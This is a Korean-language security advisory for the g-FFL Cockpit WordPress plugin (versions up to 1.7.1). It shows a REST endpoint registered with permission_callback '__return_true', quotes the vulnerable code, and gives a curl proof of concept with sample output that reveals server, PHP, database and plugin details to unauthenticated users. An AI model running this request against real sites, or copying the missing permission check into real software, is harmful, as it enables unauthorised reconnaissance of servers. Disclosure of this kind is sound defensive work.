
g-FFL Cockpit <= 1.7.1 - 인증 누락으로 인한 인증되지 않은 정보 노출
g-FFL Cockpit 플러그인은 server_status REST API 엔드포인트에 적절한 권한 검사를 구현하지 않아, 인증되지 않은 사용자가 노출된 공개 엔드포인트를 통해 민감한 서버 구성 정보, PHP 설정, 데이터베이스 세부 정보, WordPress 설치 메타데이터 및 활성 플러그인 정보에 접근할 수 있습니다.
TARGET_SITE="http://example.com"
curl -X GET $TARGET_SITE/wp-json/fflcockpit/v1/server_status | jq
includes/class-sync-endpoint.php의 handle_server_status() 함수는 인증이나 권한 검사 없이 포괄적인 서버 정보를 검색하여 노출합니다. 이 엔드포인트는 permission_callback => '__return_true'로 등록되어 인증되지 않은 방문자도 완전히 접근할 수 있습니다.
88: register_rest_route('fflcockpit/v1', '/server_status', [
89: 'methods' => 'GET',
90: 'callback' => [__CLASS__, 'handle_server_status'],
91: 'permission_callback' => '__return_true', // Public endpoint
92: ]);
handle_server_status() 함수는 다음을 노출합니다:
취약한 코드 조각 (class-sync-endpoint.php):
1443: 'php_version' => phpversion(),
1444: 'operating_system' => defined('PHP_OS') ? PHP_OS : 'Unknown',
1445: ];
1446:
1447: if (isset($_SERVER['SERVER_SOFTWARE'])) {
1448: $server_info['server_software'] = $_SERVER['SERVER_SOFTWARE'];
1449: }
추가 노출 정보 (class-sync-endpoint.php):
1645: $active_plugins_list = get_option('active_plugins', []);
1646: $wp_info['active_plugins_count'] = count($active_plugins_list);
1647:
1648: if (!function_exists('get_plugins')) {
1649: require_once ABSPATH . 'wp-admin/includes/plugin.php';
1650: }
1651: $all_plugins = get_plugins();
1652:
1653: $plugin_details = [];
1654: foreach ($active_plugins_list as $plugin_path) {
1655: if (isset($all_plugins[$plugin_path])) {
1656: $plugin_info = $all_plugins[$plugin_path];
1657: $plugin_details[] = [
1658: 'name' => $plugin_info['Name'] ?? 'Unknown',
1659: 'version' => $plugin_info['Version'] ?? 'Unknown',
1660: 'author' => isset($plugin_info['Author']) ? strip_tags($plugin_info['Author']) : 'Unknown',
1661: 'description' => isset($plugin_info['Description']) ? wp_trim_words(strip_tags($plugin_info['Description']), 20) : '',
1662: 'path' => $plugin_path,
1663: 'network' => $plugin_info['Network'] ?? false,
1664: ];
1665: }
1666: }
참고: g-FFL Cockpit은 WooCommerce가 필요합니다.
g-FFL Cockpit 플러그인이 설치된 대상 WordPress 사이트로 이동합니다.
다음 curl 명령을 실행하여 서버 상태 정보를 검색합니다:
curl -X GET http://example.com/wp-json/fflcockpit/v1/server_status
{
"plugin": {
"name": "FFL Cockpit",
"version": "1.7.1"
},
"timestamp": "2024-01-15T12:34:56Z",
"server": {
"php_version": "8.1.27",
"operating_system": "Linux",
"server_software": "Apache/2.4.57",
"architecture": "x86_64",
"server_load": [0.52, 0.48, 0.45]
},
"memory_usage": {
"current": "45.23 MB",
"current_bytes": 47415296,
"peak": "52.18 MB",
"peak_bytes": 54722560,
"limit": "256 MB",
"limit_bytes": 268435456,
"usage_percentage": 17.67
},
"php_config": {
"memory_limit": "256M",
"max_execution_time": "300",
"max_input_vars": "3000",
"post_max_size": "64M",
"upload_max_filesize": "64M",
"max_file_uploads": "20",
"opcache_enabled": true,
"opcache_memory_consumption": 67108864,
"opcache_hit_rate": 95.23
},
"php_extensions": {
"curl": true,
"gd": true,
"imagick": true,
"mbstring": true,
"mysql": true,
"zip": true,
"xml": true,
"json": true,
"openssl": true,
"fileinfo": true
},
"database": {
"mysql_version": "8.0.35",
"charset": "utf8mb4",
"collate": "utf8mb4_unicode_ci",
"queries_this_request": 42,
"mysql_config": {
"max_connections": "151",
"max_allowed_packet": "67108864",
"innodb_buffer_pool_size": "134217728"
},
"database_size": 125.43
},
"disk_space": {
"free": "15.23 GB",
"free_bytes": 16357785600,
"total": "50.00 GB",
"total_bytes": 53687091200,
"used_percentage": 69.51
},
"wordpress": {
"version": "6.4.2",
"multisite": false,
"debug_enabled": false,
"cache_enabled": false,
"active_plugins_count": 12,
"active_plugins": [
{
"name": "g-FFL Cockpit",
"version": "1.7.1",
"author": "Garidium LLC",
"description": "g-FFL Cockpit",
"path": "g-ffl-cockpit/g-ffl-cockpit.php",
"network": false
}
]
},
"woocommerce": {
"is_installed": true,
"version": "8.5.2",
"api_enabled": true,
"product_count": 1250,
"order_count": 342
}
}